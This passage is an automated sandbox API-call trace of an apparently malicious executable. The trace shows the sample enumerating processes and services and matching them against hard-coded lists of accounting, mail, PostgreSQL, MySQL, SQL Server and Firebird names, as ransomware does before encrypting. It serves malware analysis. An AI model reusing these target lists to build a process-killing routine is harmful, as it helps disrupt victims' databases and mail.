lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0150.895] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0150.895] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0150.895] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0150.895] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0150.895] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0150.895] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0150.896] lstrlenW (lpString="services.exe") returned 12 [0150.896] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0150.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0150.896] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0150.896] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0150.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0150.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0150.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0150.896] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0150.896] lstrlenW (lpString="lsass.exe") returned 9 [0150.896] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0150.896] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0150.896] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0150.896] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0150.896] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0150.896] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0150.896] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0150.896] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0150.897] lstrlenW (lpString="lsm.exe") returned 7 [0150.897] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0150.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0150.897] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0150.897] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0150.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0150.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0150.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0150.897] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.897] lstrlenW (lpString="svchost.exe") returned 11 [0150.897] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0150.897] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0150.897] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0150.897] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0150.897] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0150.897] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0150.897] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0150.897] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.898] lstrlenW (lpString="svchost.exe") returned 11 [0150.898] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0150.898] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0150.898] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0150.898] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0150.898] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.898] lstrlenW (lpString="svchost.exe") returned 11 [0150.898] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.899] lstrlenW (lpString="svchost.exe") returned 11 [0150.899] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.899] lstrlenW (lpString="svchost.exe") returned 11 [0150.899] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0150.899] lstrlenW (lpString="audiodg.exe") returned 11 [0150.899] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.900] lstrlenW (lpString="svchost.exe") returned 11 [0150.900] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0150.900] lstrlenW (lpString="explorer.exe") returned 12 [0150.900] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0150.900] lstrlenW (lpString="dwm.exe") returned 7 [0150.900] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.901] lstrlenW (lpString="svchost.exe") returned 11 [0150.901] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0150.901] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0150.901] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0150.901] lstrlenW (lpString="spoolsv.exe") returned 11 [0150.901] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0150.902] lstrlenW (lpString="reader_sl.exe") returned 13 [0150.902] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0150.902] lstrlenW (lpString="svchost.exe") returned 11 [0150.902] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0150.902] lstrlenW (lpString="taskhost.exe") returned 12 [0150.902] Process32NextW (in: hSnapshot=0x3d4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0150.903] CloseHandle (hObject=0x3d4) returned 1 [0150.903] Sleep (dwMilliseconds=0x1f4) [0151.460] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x39c0b50 [0151.480] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0151.893] GetLastError () returned 0xea [0151.893] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xe90) returned 0x428bbd0 [0151.893] EnumServicesStatusExW (in: hSCManager=0x39c0b50, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x428bbd0, cbBufSize=0xe90, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x428bbd0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0151.897] CloseServiceHandle (hSCObject=0x39c0b50) returned 1 [0151.898] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0151.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0151.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0151.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0151.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0151.898] lstrlenW (lpString="AudioSrv") returned 8 [0151.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0151.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0151.898] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0151.898] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0151.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0151.898] lstrlenW (lpString="BFE") returned 3 [0151.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0151.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0151.898] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0151.898] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0151.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0151.898] lstrlenW (lpString="CryptSvc") returned 8 [0151.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0151.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0151.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0151.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0151.898] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0151.898] lstrlenW (lpString="CscService") returned 10 [0151.898] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0151.898] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0151.898] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0151.898] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0151.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0151.899] lstrlenW (lpString="DcomLaunch") returned 10 [0151.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0151.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0151.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0151.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0151.899] lstrlenW (lpString="Dhcp") returned 4 [0151.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0151.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0151.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0151.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0151.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0151.899] lstrlenW (lpString="Dnscache") returned 8 [0151.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0151.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0151.899] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0151.899] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0151.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0151.899] lstrlenW (lpString="DPS") returned 3 [0151.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0151.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0151.899] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0151.899] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0151.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0151.899] lstrlenW (lpString="eventlog") returned 8 [0151.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0151.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0151.899] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0151.899] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0151.899] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0151.899] lstrlenW (lpString="EventSystem") returned 11 [0151.899] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0151.899] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0151.900] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0151.900] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0151.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0151.900] lstrlenW (lpString="gpsvc") returned 5 [0151.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0151.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0151.900] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0151.900] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0151.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0151.900] lstrlenW (lpString="iphlpsvc") returned 8 [0151.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0151.900] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0151.900] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0151.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0151.900] lstrlenW (lpString="LanmanServer") returned 12 [0151.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0151.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0151.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0151.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0151.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0151.900] lstrlenW (lpString="LanmanWorkstation") returned 17 [0151.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0151.900] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0151.900] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0151.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0151.900] lstrlenW (lpString="lmhosts") returned 7 [0151.900] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0151.900] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0151.900] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0151.900] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0151.900] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0151.901] lstrlenW (lpString="MMCSS") returned 5 [0151.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0151.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0151.901] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0151.901] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0151.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0151.901] lstrlenW (lpString="MpsSvc") returned 6 [0151.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0151.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0151.901] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0151.901] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0151.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0151.901] lstrlenW (lpString="NlaSvc") returned 6 [0151.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0151.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0151.901] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0151.901] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0151.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0151.901] lstrlenW (lpString="nsi") returned 3 [0151.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0151.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0151.901] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0151.901] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0151.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0151.901] lstrlenW (lpString="PcaSvc") returned 6 [0151.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0151.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0151.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0151.901] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0151.901] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0151.901] lstrlenW (lpString="PlugPlay") returned 8 [0151.901] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0151.901] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0151.901] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0151.902] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0151.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0151.902] lstrlenW (lpString="Power") returned 5 [0151.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0151.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0151.902] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0151.902] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0151.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0151.902] lstrlenW (lpString="ProfSvc") returned 7 [0151.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0151.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0151.902] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0151.902] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0151.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0151.902] lstrlenW (lpString="RpcEptMapper") returned 12 [0151.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0151.902] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0151.902] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0151.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0151.902] lstrlenW (lpString="RpcSs") returned 5 [0151.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0151.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0151.902] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0151.902] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0151.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0151.902] lstrlenW (lpString="SamSs") returned 5 [0151.902] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0151.902] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0151.902] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0151.902] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0151.902] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0151.902] lstrlenW (lpString="Schedule") returned 8 [0151.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0151.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0151.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0151.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0151.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0151.903] lstrlenW (lpString="SENS") returned 4 [0151.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0151.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0151.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0151.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0151.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0151.903] lstrlenW (lpString="ShellHWDetection") returned 16 [0151.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0151.903] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0151.903] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0151.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0151.903] lstrlenW (lpString="Spooler") returned 7 [0151.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0151.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0151.903] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0151.903] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0151.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0151.903] lstrlenW (lpString="SysMain") returned 7 [0151.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0151.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0151.903] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0151.903] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0151.903] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0151.903] lstrlenW (lpString="Themes") returned 6 [0151.903] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0151.903] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned 